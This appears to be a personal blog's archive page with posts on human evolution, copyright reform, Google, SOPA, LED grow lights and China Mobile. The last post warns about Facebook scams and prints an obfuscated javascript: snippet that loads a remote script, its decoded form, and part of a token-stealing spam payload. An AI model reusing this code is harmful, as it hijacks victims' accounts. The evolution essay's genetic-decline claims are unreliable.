Between Evolution and Involution
Posted by Dan | Filed under awearnes, education, skills, news, information, feelings, senses, perceptions, Immaterial Things, life, energy, resources, Material Things, memories, keeping memories, money, wealth, products, services, maintenance, Unnatural, what is important
History
When i was young i learned in school about humans and the Darwin’s theory. At that time the implications of this theory together with what i learned about natural selection and later about genes and the genetic material meant little to me. Yet i was intrigued by one idea that my anthropology teacher presented to me. The fact that over time we have evolved from simple monkeys to the smart humans we are today was amazing and what was even more amazing was the next step in evolution: homo sapiens sapiens cerebralis. We are to become very smart and with a big brain ! Nice !
The problem
This was true in my mind for few years, i actually believed my teacher but i did not tried to look forward, past his words. When i think about me, about us, about humans i generally consider that we are on top of the evolution chain, that we are smarter and better than any living species on this planet and due to this evolution we are smarter than any humans that might have lived on this planet. Some time ago i started by chance to read about the Neanderthal an extinct genus of Homo. They had bigger brains than we have today, and they had more muscles and more power. This finding made me rethink at what my teacher told me. That we are to have bigger brains, not smaller. Some will say the Neanderthal disapeared do to interbreeding and that is surely true, but why this interbreeding did not make our brain bigger, why did did not become smarter ?
The question now was why ? What determined humans to involve to what we are today and what the future reserves for us. And by looking at the current trends we can surely say that we will continue to involve for the next thousand of years until we will be too dumb to take care of ourselves ( of course we will have computers to do that ) but what will be the point in being a baby all your life ? There is none.
Reason for brains
Our brain is built for movement. I recently watched with great interest a TED talk on this subject that made it more clear to me than ever this simple fact. Movement can mean many thing, means moving from A to B, means jumping, means listening to the sounds of the forest so we can detect predators and protect ourselves etc. The evolution of a species is a step by step process and by stating this i don’t argue with some that say evolution happens also in big steps not only in small. A small step on a evolutive scale means a lifetime of the organism and the means to achieve this evolution is natural selection. So, back then, people had to climb trees, find shelters, do an extraordinary amont of things, everyday just to survive.
Hunter-gatherer, agriculture and beyond
We believe that nowadays we think more, we do more things, we have more informations but in fact we are wrong, before the agricultural revolution people had to accomplish laborious tasks just to survive from day to day, tasks that involved a lot of brain power. The ones that wore slow died faster and did not have enough time to produce offsprings and such their slowness died with them. Only the best, the fittest could survive. At that time the difference between a woman and a man was less evident than today. A woman had to fight also, had to catch prey, had to do some of the things man did, so it had brain, it had power, same like a man. Repeating this process one step at a time, generation by generation humans became faster, smarter, stronger. Even eating poisinous plants had it’s say in the evolution of man. The plant would kill some, but not all, and those surviving wore in better shape to not die from eating that plant. Viruses and diseases did the same, and even if at times killing entire human populations there still was that 5-10% that survived and that wore immune.
Today we have disrupted nature’s system of natural selection and this disruption has not even started today, has started with the introduction of agriculture. When people started planting their food, started using the land to produce their food, when they domesticated chicken, cow and other animals that we eat today. From that moment natural selection started to fade, people did nor relied on hunting anymore, being weak didn’t mean that you would die without offsprings, in fact the weak persons stayed home and had offsprings and the strong ones went to fight with other tribes and doing other dangerous things.
Present
Nowadays, a big inherited fortune might be all you need to survive a generation and to have many many offsprings, far more than people without money and without problems have. This inherited fortune does not guarantee you are smart, or fast or strong. In fact in many cases can only guarantee you are fat. And it’s not only about money and rich people. It’s even more about today’s medicine. Today sick people find their cure with the latest achievements in medicine and they don’t die as was the natural way. They live longer and even have offsprings that will carry their genes forward predisposing their kids to the same diseases their parents had and even more, because the process is one of accumulation of bad genetic material not one of selective cleansing as normal natural selection would imply.
So all the technological evolution, all this advances in medicine that for us mean longer and happier life have the opposite efffect on our species. This tools/advances are providing good for us and bad for our collective future and they are now presenting us with the Prisoner’s dilemma to solve. Let’s hope that we will eventually choose what is in the best interest of our species.
Possible solutions ?
Self restraining from having babies – The understanding of this simple fact about our evolution can significantly improve our changes of stopping this process. We can choose NOT to have offsprings, NOT to pass our problematic genetic material to another generation and this can be a decision everybody can make on it’s own depending on his health problems and it’s genetic material. I would not like to see the day if this would be enfoced upon us, but in any case we should be willing to do this. There are a lot of alternatives out there, most common including adopting children an raising them as your own. This solution might be very simple yet i am almost sure the implementation of this will be incredible problematic ( as we already have an bad example in China, and remember that China is a comunist country that can enforce some rules that are unpopular much better than other countries ). Some people would simply not accept to not have babies and not to have somebody to inherit their enormous material wealth.
Genetic manipulation – The other solution i can see to this incredible dilemma is that we will use the medical information we have today to manipulate our genes and remove from our offspings genes that can cause disease and even add genes to make our children smarter and better. Unethical ? I think is not the time yet to decide on this important matter.
Inaction – We can choose not to do anything, like we already did, but we will be only left to the first conclusion that, in few thousands years time, maybe even less we will be much dumber than our ancestors one hundread thousands years ago, and our golden age today will be in fact the begining of the end of the human race. So inaction is not an option for our species survival.
What’s next ?
This genetic problem that the world is confronting now, and it has done so for the last 50.000 years it can be reversed, it only depends on our determination and will as a species to survive. Is it now the problem has become really important, in the age of medicine and abundance. Of course there are more stringent matters to solve right now but it’s not all lost, we still have time. My only regret is, as with the case of global warming, we will delay this until …
Do you believe otherwise ? Please comment or email your opinions!
Dont’ forget to like Usefulfor.me on Facebook !
Tags: agriculture, brain, Darwin, dilemma, evolution, fortune, genetics, history, humans, medicine, nature, neanderthal, plants, prisoner, species, TED Talk
Facebook account Legal Disclaimer aka Social Legal Disclaimer
Posted by Dan | Filed under awearnes, Down to Earth News, education, skills, news, information, Immaterial Things, Material Things, products, services, maintenance, relationships, communication, interaction, Unnatural, what is important
Last modified on 2012.02.14 – version 1
It occurred to me today that there is a genuine need for normal people to protect their interests and online life. Nowadays when copyright has become more like a weapon than a tool, when our social internet is threatened with extinction I believe that is a good idea for everyone to start posting legal disclaimers, at least in theory to protect ourselves against ill intended people or organizations. Here is my version of “Facebook disclaimer” based almost entirely on Herche’s Blog Disclaimer found here that is one of my favorite disclaimers that i have found until now.
You have my permission to copy a part or the entire post written here as long as you keep or write clearly write an attribution to the original post found here ( http://ledux.blogspot.com/2005/03/herches-blog-disclaimer.html ) and my website post here ( ). The original post content was used with permission per his disclaimers page of http://ledux.blogspot.com/
How to use:
- Replace “LINK TO YOUR PROFILE PAGE ” text with your Facebook profile link for example: http://www.facebook.com/profile.php?id=100000891117685 or http://www.facebook.com/your.user.name
- Replace “YOUR PROFILE/USER ID” with the number found in your profile link for example: 100000891117685 or your Username if you have set one in General Account Settings, be careful because changing the username can invalidate the disclaimer!
- Post the result in an accessible place on your profile/timeline page, under the name/title “Legal Disclaimer”. Be sure the disclaimer is shared as public and not only to your close friends. In Facebook you can for example use a NOTE with the title “Legal Disclaimer”. Another idea of posting this Legal Disclaimer on Facebook is by creating a picture with this text and post it in your Facebook albums.
- You are done !
- Please bookmark this page and check regularly for updates. I will try to do my best to update it if it’s necessary.
Here is the the legal disclaimer. You can start copying from here:
Legal Disclaimer
( based on Herche’s Blog Disclaimer , modified by usefulfor.me)
LINK TO YOUR PROFILE PAGE and all the materials included or promoted by the Facebook user with this id: YOUR PROFILE/USER ID (hereafter “this Facebook account”) will abide by, adhere to, accept responsibility for, endure under and act with respect toward the following weblog disclaimer:
By accessing this Facebook account, a web browser (hereafter “user“) is consents that s/he is familiar with, understands and absolutely accepts the following weblog disclaimer:
The views expressed by the authors on this Facebook account do not necessarily reflect the views of this Facebook account, those who link to this Facebook account, the author’s mother, father, sister, brother, uncle, aunt, grandparents, cousins, step relations, any other blood relative and the author himself, this Facebook account’s web host, template designer, or any other organization, service, motto, logo, insignia or avatar in any way connected with this Facebook account.
Comments on this Facebook account are the sole responsibility of their writers and the writer will take full responsibility, liability, and blame for any libel or litigation that results from something written in or as a direct result of something written in a comment. The accuracy, completeness, veracity, honesty, exactitude, factuality and politeness of comments are not guaranteed.
All trademarks, service marks, collective marks, design rights, personality rights, copyrights, registered names, mottos, logos, avatars, insignias and marks used or cited by this Facebook account are the property of their respective owners and this Facebook account in no way accepts any responsibility for an infringement on one of the above.
Although it may claim otherwise, this Facebook account does not offer legal, medical, psychiatric, veterinary, gynecological, archaeological, astronomical, astrological, ontological, paleontological, philosophical, axiological, audiological, bacteriological, mineralogical, criminological, terminological, dermatological, ecclesiastical, campanological, phrenological, phonological, technological, hematological, campanological, neurological, psychobiological, urological, ufological, typological,, mythological, hydrological, xylological, zoological, logical or any other kind of professional advice. Nothing on this Facebook account should be construed as professional advice including, but not limited to, the above list.
The information provided on this Facebook account is of a general, broad, sweeping, large, wide-ranging, wide-reaching and wide-spread nature and cannot substitute for the advice of a licensed professional or chiropractor. A competent authority with specialized knowledge is the only one who can address the specific circumstances of your predicament. We can try, but this disclaimer frees us of any liability if negative consequences result from our efforts.
Please contact your local bar association, law society, neighborhood association of jurists, medical board, county hospital, phone book, online directory, local emergency number in your jurisdiction, mother or Google to find a or obtain a referral to a competent professional. If you do not have reasonable means of contacting an attorney-at-law, lawyer, civil law notary, barrister, solicitor, medical professional, coroner or any other professional in the area of your inquiry, meaning you are an orphaned, computer-illiterate social hazard, please exit this window and get your life in order.
This Facebook account has no control over the information you access via outbound link(s) in the post text, sidebar, header, footer or comment sections. This Facebook account does not endorse linked website(s), cannot guarantee the accuracy of any information found by following said links or the correctness of any analysis found therein and should not be held responsible for it or the consequences of a user’s use of that information. If you are curious about the veracity of something you find, please follow the directions in the above paragraph and consult the appropriate experts.
This Facebook account may inadvertently link to content that is obscene, prurient, useless, hate-filled, poisonous, pornographic, frivolous, empty, rotten, bad, disgusting, hostile, repulsive, virulent, infectious, malignant, antagonistic, irritating, obnoxious, harsh, embittered, rancorous, resentful, acrimonious, pestilential, baneful, noxious, toxic, venomous, pernicious or repetitive. This Facebook account in no way condones, endorses or takes responsibility for such content.
This Facebook account publishes content regularly and said content is maintained in reference to the protections afforded it under local, provincial, state, martial, federal, international and mafia law. Publication of information found on this Facebook account may be in violation of the laws of the city, county, state, country or other jurisdiction from where you are viewing this Facebook account’s content and laws in your jurisdiction may not protect or allow the same kinds of speech or distribution. In the case that the laws of the jurisdiction where this Facebook account’s content is maintained and those of yours conflict, this Facebook account does not encourage, condone, facilitate, recommend or protect the violation of any laws and cannot be responsible for any violations of such laws.
Because the World Wide Web is an integrated net of communication, discussion and litigation, this Facebook account encourages the distribution of its content. Cross, reciprocal or just plain friendly hyperlinking is consistent with this information sharing and this disclaimer should not be construed as a condemnation of any linking practices. That said, any reproduction of this Facebook account’s content must credit the website by name and Uniform Resource Locator (URL). Should you link to this domain or use, reproduce, republish, regurgitate, repeat, reiterate, rebound, reecho, reverberate, mimic, imitate, parrot or duplicate the information contained on this Facebook account, you alone are responsible for that action and should, under threat of litigation, credit this Facebook account by name and URL.
This Facebook account is not recommended for inmates, ingrates or anyone professing an irrational fear of cats or any other mammal, those who have a penchant for time wasting, illiterates, lawyers, governments, governmental agencies, terrorist groups, anyone affiliated to terrorist groups, religious groups and people that might deem the materials found on this Facebook account as offensive. Women who are pregnant or may become pregnant or are nursing are advised to consult their husband and physician before reading this Facebook account. Eating before reading may result in unhealthy indigestion. Not recommended for people over the age of 120, unborn babies and people with any past, present and future medical conditions.
This is the end of the disclaimer, only copy the text up to this point, NOT including this sentence.
If you like this don’t forget to share, pin, promote or subscribe to my twitter ! Thank you !
Tags: Facebook, Herche, herche's blog disclaimer, legal disclaimer, Pinterest, profile id, social, social disclaimer, username
We don’t need ACTA, we need copyright reform! Current copyright laws are outdated !
Posted by Dan | Filed under awearnes, Immaterial Things, memories, keeping memories, money, wealth, relationships, communication, interaction, Unnatural, what is important
The international landscape is getting darker with the introduction of a bunch of copyright treaties and laws designed to protect obsolete business models and kill the freedom we all enjoyed on the internet, including freedom of speech and expression.
In response to recent developments i tried to think of what can be done in the favor of the masses, while preserving most of the capacity of the copyright holders to profit from their ideas.
The answer, partially envisioned by Marietje Schaake in this article, is that “If we want to serve consumers, artists and businesses well, we need to find a new balance in copyright”.
Here are some ideas on how this balance might be achieved in the future:
Defining what copyright really means
A. Shorter copyright life time
Because we live in 2012 and not the ice age, the length of the copyright must be shortened according to current communication means. In the ice age people relied on big mammals to carry with them stones containing messages. Back then it took a great amount of time to sell or promote any material and sometimes a whole lifetime was not enought to spread even an idea.
“In most of the world, the default length of copyright is the life of the author plus either 50 or 70 years.” (Wikipedia) is a outrageous copyright claim. Nowadays you can profit almost instantly from a song, movie or any other material that can be distributed using the internet because of the new channels internet has made available to copyright holders to sell their content. In respect with movies some make 90% of their revenues in the first few months after their release. So the general idea is that if a media product is of a good quality it will surely accumulate a great deal of income in the first year of it’s life. In other case, if the movie is crap, the song is shit and so on … it can take ages and never make any money. Nowadays the rate of wich a product go obsolete is faster than ever and is makes no sense other than making dinosaurs rich to enforce copyright for obsolete products.
As a result of this i believe that the length of the copyright for electronic books, media including movies, videos, songs, etc should be no longer than 2 years. The same can be applied to software and their versions. By limiting copyright lifetime on software to let’s say also 2 years we quickly realize that the software companies will be much more interested in coming with new versions of the same software rendering the old versions obsolete in a short time while also giving a much greater chance for new software to appear using ideas from the old software products. Humanity as a whole can only benefit from this situation.
B. Clear distinction between electronic products and real life products
There must be a clear distinction between tangible products and non tangible goods. In real world things move much slower than on the internet and because of that it takes more time for the copyright holder to profit from his idea and to sell his tangible product. It is slower because it involves transportation, manufacturing, design and many many other planning phases to get from idea to product. In this perspective i think tangible products should have an copyright lifetime of 5 years.
There are also some particular cases like for example a book that come to my mind now. In my opinion the book should be copyright protected for 5 years in the print version and for 2 years in the electronic version. Even the electronic version of the copyright expires the printed version should continue to be protected, thus allowing the same king of profit making in both the old and new markets.
What about the iPhone ? The iPhone hardware should be copyright protected for 5 years while it’s software should be copyright protected for 2 years, so you see it’s easy to see how this copyright distinction can take place without ambiguity.
C. Individual artists/inventors/copyright owners should be better protected
Individual artists/inventors/copyright owners should be better protected by the copyright laws than the corporations as they have limited means of enforcing or protecting their copyright and also less means of successfully promoting their work during a short period of time, so for example an individual persons should get a 2 year extension to their current copyright length allowance compared with a corporation and maybe given access to some sort of cheap or discounted legal representation.
How to enforce copyright rights
We must have a clear distinction between individual persons and other entities like companies.
1. Reasonable amount of time to allow voluntary take downs
The copyright owner must contact the copyright infringer and ask him to take down the infringing content in a timely manner ( 5 days prior to the official take down request );
2. Reliable communication channels between the copyright owner and the infringer
The service supplier must create a way in witch the copyright owner can contact the infringer in a reliable manner ( and possible protecting the privacy of the supposed infringer in the first stages ) ( for example forwarding emails to the user on behalf of copyright owner ). If the user fails to comply or give pertinent answers to copyright owners than they can continue with the current style take down requests.
3. Protecting innocent and by chance infringers
As with many other ‘crimes’ copyright infringement should not bear direct consequences to individual infringers if the infringer is at his first mistake. The first time an infringer is caught he should bear no other consequences than a mark on his ‘criminal’ record.
4. Capping the liabilities of individuals
In case of individual infringers the penalties for infringing must be set according to each infringer net worth ( assets ) and must not be greater than infringers net value + let’s say 10 medium salaries; Infringing penalties can’t add up for a period of less than 2 year for example so you must always take into consideration the highest penalty.
5. About possible prision time
As long as by imprisoning the ‘pirate’ you can effectively stop the pirating of that product or minimize it to a great extent i think is ok to send someone to prison for this reason. But sending an ‘MP3’ pirate to prison won’t effectively stop any pirating or even a small part of it so i see no reason for people to go to jail just because of pirating software or media. Prison time can be equal with the time the copyright upon witch he is imprisoned is still valid ( 2-5 years ).
These are just some of the measures that i believe are really needed in our current times. We don’t need ACTA, SOPA, PIPA and any other laws designed not only to protect copyright owners, but in fact designed to destroy initiative and creative thinking. And don’t tell me patents protect thinking and innovation. Nowadays the majority of patents only protect the big corporation money printing machines. But you simply can’t have an great idea today, patent it and stop everyone else from using it for the next 70 years. Long copyright protection lifetime is unacceptable and must STOP!
And one last message for governments that in secret sign ‘treaties’ that concern the entire population of their country without asking at least for some form of public input, ‘treaties’ written in the back of closed doors: You can’t do that anymore ! Those times are over !
Tags: ACTA, copyright law, copyright owner, infringement, infringer, internet freedom, patent, patents, PIPA, SOPA, treaties
The evolution of the Internet and articles only good at combating their own rhetoric
Posted by Dan | Filed under awearnes, education, skills, news, information, Immaterial Things, Material Things, memories, keeping memories, work, activities
One of the most popular stories today on Forbes.com was “Google’s Big Problem They Don’t Want You To Know About” written by Forbes’s contributor Eric Jackson.
The story – While in the first part the Forbes contributor is not happy at Google’s almost script like way to talk to the media, we finally are exposed to the thing Google don’t want you to know about: the fact that 96% of Google revenue comes from AdSense and that AdSense business is slowing. After reading a lot more paragraphs in order to really convince us that this revenue slowing is really a BIG PROBLEM we are faced with the seeming obvious conclusion: “I think the Google management team’s use of language suggests a deliberate effort to conceal just how big the slowdown in their 96% core business is.”.
As any point of view, mine is also biased by what i am, by what i think and by what i think i know but nevertheless i want to share it with you here:
Write about something else or write your own TED Talk – Writing articles about Google and big corporations alike is easy because there are so many sources online out there that you don’t need to do any time consuming research to do it and thus you have no time to digest the informations that you present and the contributor is mentioning this himself ( “We’re just lowly journalists on a deadline for our next story. We’re not compensated to actually push back and think. It’s just on to the next drive-by report we’ll write.” ). Another thing is that journalists know that this is the fastest ticket to readership. Bad or good articles alike make you comment on the subject you already know with other people that already know the subject making it an worthless easy read for everyone.
Google’s shrinking AdSense story – Google is about people and what people search on the internet. One might say that Google is not making money from search and would be almost right: search is just the conduit to make people read those AdSense out there and generate profits for Google. With the advent of social media and social collaboration tools like Facebook, Twitter etc, people are spending more time talking and sharing informations in a social way than in the traditional search yourself way. I see Google is getting less profits from AdSense as a direct result of the shrinking of ‘useful’ search done on it’s search engine and because the overall search market is shrinking, not just that Google is underperforming. Google is advancing it’s percents well in this shrinking market and don’t be fooled if you can tell me that the market is not shrinking by looking at statistics, this event is ‘delayed’ in some way by the fact that everyday new people start using computers ( for example old age people starting to use computers thanks to the iPad ) but if we count the well established users i am sure we will find out this trend. Facebook is indeed cashing in on Google’s delayed response in the social world but this is only normal. After all it is normal that ad revenue that is departing Google to be captured in great percent by Facebook because simply people use more Facebook than Google and are likely to see Facebook’s ads rather than Google AdSense ads. This trend of a shrinking search market will eventually reach an equilibrium so i believe this is not a worrying thing when it comes to Google future. The profits from AdSense will shrink too but not indefinitely as some want us to believe.
Social and mobile focus – The Forbe’s contributor is very much unpleased by the fact that Google’s PR is trying to promote figures about nascent income sources and products like Google+ and Android etc. Google already knows what i’ve tried to convey to you in the previous paragraph so they know that in order to offset the loses to AdSense and increase their income revenue they must get 2 things: more users and more ‘quality time’ for those users.
More users: By pushing for Android operating system they are for sure getting more and more users everyday to join their user base and again letting know the press how many Android users are joining is in my opinion a normal thing to do;
More quality time: By pushing for Google+ Google is doing just that. It’s trying to get it’s users more quality time around their friends, making Google more personal than ever. It is well known the fact that the social way is also a way to make people want to return to the same place over and over ( like hangouts for young, parks for old ) providing a some form of income repeatability for the said establishment. This is what is Google after. They want to have a social platform that will make Google indispensable and in a sense irreplaceable. This is a hard job because we already have Facebook and, because of each human’s disability to change and start over, once you have a Facebook account it’s really hard to switch. Your list of friends ( the social factor ) is making you stick whether you want it or not.
To make this short i believe that Google is doing the right thing to do what it does and has the greatest amount of corporate conscience among the ones i know about, providing customers with quality products while speaking on their behalf when their voice needs to be heard ( check the latest SOPA/PIPA events, etc. ). While Google i think is properly prepared for the foreseeable future i can’t say the same thing about Forbes and it’s contributors that don’t know what to say anymore to get more readers and income. The future will show us that we don’t need Forbes to tell us what to think when it comes to business insight. The new world instead gives us access to information so that everybody can form his own documented opinion on a vast array of subjects. It’s Forbes’s annual earnings that i can’t find on the internet, not Google’s.
P.S. I do want to know how much money Forbes magazine and it’s website is making. If someone knows that please do comment.
Tags: Android, AsSense, bad press, business strategy, evolution, Facebook, Forbes, Google, Google Plus, hangouts, income, internet, money, social media, Twitter
Misinterpreting a TED Talk – How to make choosing easier = How to increase sales = How to destroy earth faster
Posted by Dan | Filed under earth, water, air, weather, food, animals, plants, Immaterial Things, Material Things, Natural, products, services, maintenance, Unnatural, what is important
Recently i have come across this TED Talk – Sheena Iyengar: How to make choosing easier. While the informations presented are no doubt valuable and can be put to use in a good manner this TED Talk is also misleading people to think that choosing the easy way is better for them. Overall this TED Talk is indeed enlightening … but not for me. It’s so for the retailer that tomorrow will reduce my options to increase his sales.
As we have learned from a previous TED Talk ( Daniel Wolpert: The real reason for brains ) our brain is wired to choose the easy path and of course will choose to choose less information over more. In a product world, less products on offer mean less companies manufacturing those products and means bigger monopolies and we all know where monopoly leads. If we are talking about food products, less products on offer means a decrease in diversity and an increase in monocultures. This in turn amplifies the extinction of species ( not restricted to plants as plants are only at the beginning of the food chain ), decreases the quality of land, increases the use of pesticides and many other bad effects. A very enlightening TED Talk – Cary Fowler: One seed at a time, protecting the future of food is proposing the opposite when it comes to food and gives us one last chance when it comes to our survival.
Earth can’t simply provide everybody with cars, with the same types of foods, etc. We need to embrace diversity not stifle it.
What i propose ? If you are in front of 200 types of olive oil and you don’t know what type to choose, pick one that you have heard of it, pick your favorite again or just randomize. And believe me … some of the best choices i’ve made were random !
Tags: choice, farming, misleading, monocultures, monopoly, random, retailers, TED Talk
Linking errors in Visual Studio 2010 MFC – updated
Posted by Dan | Filed under Material Things, products, services, maintenance, Unnatural
In Visual Studio 2010 MFC, when linking to a library (.lib) gets you the horrible ‘error LNK2001: unresolved external symbol’ message and you are 100% sure the library and the current project has the same compile time parameters check if you did not used the ‘using namespace’ directive prior to the unresolved external symbol thing. The linker will try to find the required symbols in the last namespace you defined and might not be the same with the namespace of the .lib file.
Other causes for this error might be the fact that the library and your project is not compiled with the same parameters like: Runtime Library, Character Set, Use of ATL, Use of MFC, etc.
To easily include a library in your project add the library project to the Solution, then “Add New Reference …” button in the Property Pages of the project that need to use that library.
Tags: lib, LNK2001: unresolved external symbol, MFC, Visual Studio
STOP SOPA, PIPA and any other censorship laws out there !
Posted by Dan | Filed under awearnes, education, skills, news, information, Immaterial Things, relationships, communication, interaction, what is important
If i would be in America i would surely participate in all rallies against censorship!
I know what censorship is because i live in China and i can understand that the laws like SOPA and PIPA are in a way much worse than what Chinese are doing with their great firewall. China it is mainly censoring stuff to make sure it’s current leaders and political system will be there for the foreseeable future but censors rarely punish ordinary Chinese for their disobedience.
Now corporations in America want to do worse ! They also want to make sure they will be there for the foreseeable future much in a way Chinese government wants and they are not only satisfied to control what people see and hear, they want also to punish the ordinary american for not seeing and hearing what they want, so in a sense it’s much worse than what Chinese are already doing.
I have always considered America as a champion of free speach and innovative thinking. I really hope i won’t be proven wrong!
To read more please visit http://en.wikipedia.org/wiki/Wikipedia:SOPA_initiative/Learn_more
Tags: 2012, censorship, china, laws, PIPA, SOPA, USA
The garden of tomorrow – LED grow light panels
Posted by Dan | Filed under earth, water, air, weather, food, animals, plants, Material Things, Natural, products, services, maintenance, Unnatural
Here is something i do for a living. I produce and sell LED grow lights.
What are LED grow lights ? LED grow lights are special panels that contain LED diodes and can be used to promote the growth of plants without the presence of the sun.
Why are LED grow light panels so useful ? There are many reasons why LED grow lights are so useful. Here are some of them:
- compared with traditional grow lights they have a much greater life span ( 50.000 hours compared to a maximum of 15.000 hours for normal lamps );
- they use less power than traditional grow lights, in fact they are up to 90% more efficient;
- they generate less heat than traditional grow lights so you won’t be required to use any cooling equipment;
- generating less heat means that they can be touched during operation and are safe for children also;
- more resistant to shocks and vibration then any other lighting fixtures, easier handling. LED’s can’t break if you drop them on the floor by mistake;
- lightweight means they are easy to carry, install and also the shipping cost is much reduced;
- in general grow lights enables you to grow any plants in any environment; there have been cases of natural disasters like floods that destroyed local plant cultures and also stranded entire regions; In this cases using LED grow lights people can grow their plants on the spot; Mitsubishi Chemical’s has already developed complete systems like this container vegetable plant to assist in this areas.
- your plants will grow during the night or in low light conditions.
Why are the LED grow lights that i sell better than others ? Because they have all the requirements of a quality grow light fixture with a much cheaper price tag.
For example i sell a 45Watt ( real power ) LED grow light panel with 89 USD a piece and a big discounts for 20 or more sets. I prefer selling bigger quantities with a lower price. This way i try to promote the usage of such environment friendly solutions and make them affordable for everyone.
Do i think LED grow lights usage is good and healthy ? Yes i do. In this times when the sun’s ultraviolet rays are becoming extremely dangerous for our health because of the depletion of our planet’s ozone layers, in this times when air pollution in some open areas is at it’s historical heights and the sun is rarely seen because of smog, i sadly believe that one of the few healthy options someone has on growing it’s plants is to use LED grow lights to promote plant growth. This is science’s answer to our current and future needs.
What models are available ? I can custom produce LED grow lights depending with customer’s needs. For retail i will sell for the moment only the 45W version as it’s the best cost / performance version we have produced until now.
45W LED grow light specifications:
- Dimensions: 320*320*40
- Power: 45W
- number of LED’s 112 ( 72 RED, 40 BLUE )
- 660 Nm RED / 450 Nm BLUE
- Lifetime: 50K hours
- 110V/230V
- available US/EUROPEAN power cords types
The prices are:
- 89 USD 1+ pcs
- 79 USD 20+ pcs
- 69 USD 50+ pcs
If you are interested email me at dan@usefulfor.me and i will provide you with shipping costs, availability and payment methods.
Tags: food, garden, healthy, hobby, led, LED grow light, plant grow
China Mobile & Passports
Posted by Dan | Filed under Material Things, products, services, maintenance, Unnatural
I have just come back to China and, because of bad storage during my trip, my China Mobile simcard got broken somehow.
I went to the closest China Mobile store and asked for a replacement since i am a “Go Tone” subscriber. There after waiting for my number ( you have to take a number and stay in line ) they asked me for my passport. After i have provided them with my current passport they told me i need to bring my old passport … that is the last passport i have given them. I am in China for 5 years already and during this time i have changed 5 passports :-).
I have asked them if there is a main China Mobile office in Shenzhen where i can replace my own simcard without needing the passport i have used 5 years ago. They did knew the location and address but they did not want to give to me because seems this are their orders: call 10086. I have asked them how can i replace the simcard by phone and how can i call 10086 without any simcard. They replied that this are the rules.
I have asked them to show me the rules of China Mobile where i can read, even in Chinese that i need to provide the old passport to get my simcard back. They have failed to do so as there is no written rule that stipulates this thing. ( they searched for something for about 20 minutes ).
I have asked them to provide me with an written notice to inform me that they cannot replace my simcard without presenting my old passport. They did not want to do this.
I have asked them to let me record them saying they they cannot provide me with the simcard unless i bring the old passport. They told me that recordings are forbidden in China Mobile shops everywhere. Yet each China Mobile shop has 5 digital cameras to record every movement of every person inside.
I have asked them to give me a business card. They did not have any available. They have given me a paper with a phone number barely recognizable.
I have asked them to provide me with a complaints form. There are none available.
I have asked them to tell me how can i prove i have been in their shop that day. They told me to recharge 1 RMB to my not working simcard using their “recharge machine”.
I have asked them to give me the “consumer office” phone number. They had no number available. ( Are there such government organizations in China ? )
Finally after 1 hour i have left the China Mobile shop.
Luckily i have found 4 of my old passports later that day and did replaced my broken simcard.
I did learn something:
- keep all your passports, no matter how old if you want to be able to close, replace or do anything else to your China Mobile subscription and probably to any other subscriptions in China;
- workers of China Mobile are robots and think only as they are told to by their “boss ” even if there is no written rule;
- workers of China Mobile are more eager to clean the floor of their shop than to help customers; everybody helped with the cleaning while people waited in line for their turn to speak with somebody; cleaning the floor i guess is less of a headache than talking;
- China Mobile has no English service if you call 10086; anyway they won’t understand your English no matter what;
- Welcome to China !
I guess China Telecom that already cheated me and China Unicom that has bad signal everywhere, are the same in this area, so, having no other alternatives, i’ll have to keep on using China Mobile.
Because i like to find out all the angles of a certain situation i realized that there is an plausible explaination for this:
In China all ID’s and other identity papers have unique numbers. Also, in China, there are a lot of persons with the same name living in the same place so the ID’s number is in fact he only thing that can differentiate between persons. Chinese believe the same thing applies to foreigners witch is in general not true so showing them a new passport with a different number makes you a different person altogether. I wonder if Chinese law works under the same principle.
Tags: China Mobile, ID, passport, phone number, replacement, simcard
Protect yourself against fraud & identity theft on Facebook – More scripts!
Posted by Dan | Filed under awearnes, education, skills, news, information, Immaterial Things, relationships, communication, interaction
Due to the increased interest people have in this matter and to the fact that the JavaScript/Facebook scams are becoming way to common, i feel compelled to follow up and present another script used to … steal your Facebook informations, impersonate you and everything you can think of …
For those of you unfamiliar with what i am talking about please read first my previous post.
Please remember: Never write any JavaScript script or any other script in your browser’s address bar! It’s almost for sure designed to steal something from you, no matter that we talk about Facebook or something else.
I admit not testing the script myself ( unlike the first script i did tried 🙂 ). Let’s hope is not a functional one and that not so many people used it but, as i see it, soon the internet will be flooded with such scripts if it’s not already ! The problem is that usually people don’t even alarm themselves until their Facebook is already full of spam and at that point some don’t know what is the problem and what is that they need to do.
The answer is simple: Logout then login again, reset your personal publishing address, leave the groups you have been forcefully opted in.
Here is the script that i have found posted by many … in some Serbian Facebook group…
javascript:
var _0x9557=[
“\x73\x72\x63”,
“\x73\x63\x72\x69\x70\x74”,
“\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74”,
“\x2f\x2f\x69\x67\x72\x65\x2d\x6b\x75\x68\x61\x6e\x6a\x61
\x2e\x63\x6f\x6d\x2f\x66\x62\x2f\x62\x2e\x6a\x73\x3f\x73\x68”,
“\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64”,
“\x62\x6F\x64\x79”];
(a=(b=document)[_0x9557[2]](_0x9557[1]))[_0x9557[0]]=_0x9557[3];
b[_0x9557[5]][_0x9557[4]](a);
void (0);
Translated into a human readable form:
javascript:
var _0x9557=[
“src”,
“script”,
“createElement”,
“//i_g_r_e-k_u_h_a_n_j_a.com/fb/b.js?sh”,
“appendChild”,
“body”];
(a=(b=document)[_0x9557[2]](_0x9557[1]))[_0x9557[0]]=_0x9557[3];
b[_0x9557[5]][_0x9557[4]](a);
void (0);
And we check the website in question for the b.js script that the first script loads. Looking at this script i was even a bit surprised. There are beautiful explainations on how the script steals from you directly in the code. So with no more useless comments here is the script:
//These are to be posted as status messages
txt = “Nevjerojatni šokantni video obavezno pogledaj http://www.facebook.com/pages/Sokantni-video/176064629096511 “;
txtee = “Nevjerojatni šokantni video obavezno pogledaj http://www.facebook.com/pages/Sokantni-video/176064629096511”;alert(“Sačekajte par minuta, u toku je provera. Pa kliknite OK da nastavite.”);
with(x = new XMLHttpRequest()) open(“GET”, “/”), onreadystatechange = function () {if (x.readyState == 4 && x.status == 200) {
z=x.responseText;
//comp = z.match(/name=”UIComposer_STATE_PIC_OUTSIDE” value=”([\d\w]+)”/i)[1];
// comp = x.responseText.match(/name=”UIComposer_STATE_PIC_OUTSIDE” id=”([\d\w]+)”/i)[1];
form = z.match(/name=”post_form_id” value=”([\d\w]+)”/i)[1];
dt = z.match(/name=”fb_dtsg” value=”([\d\w-_]+)”/i)[1];
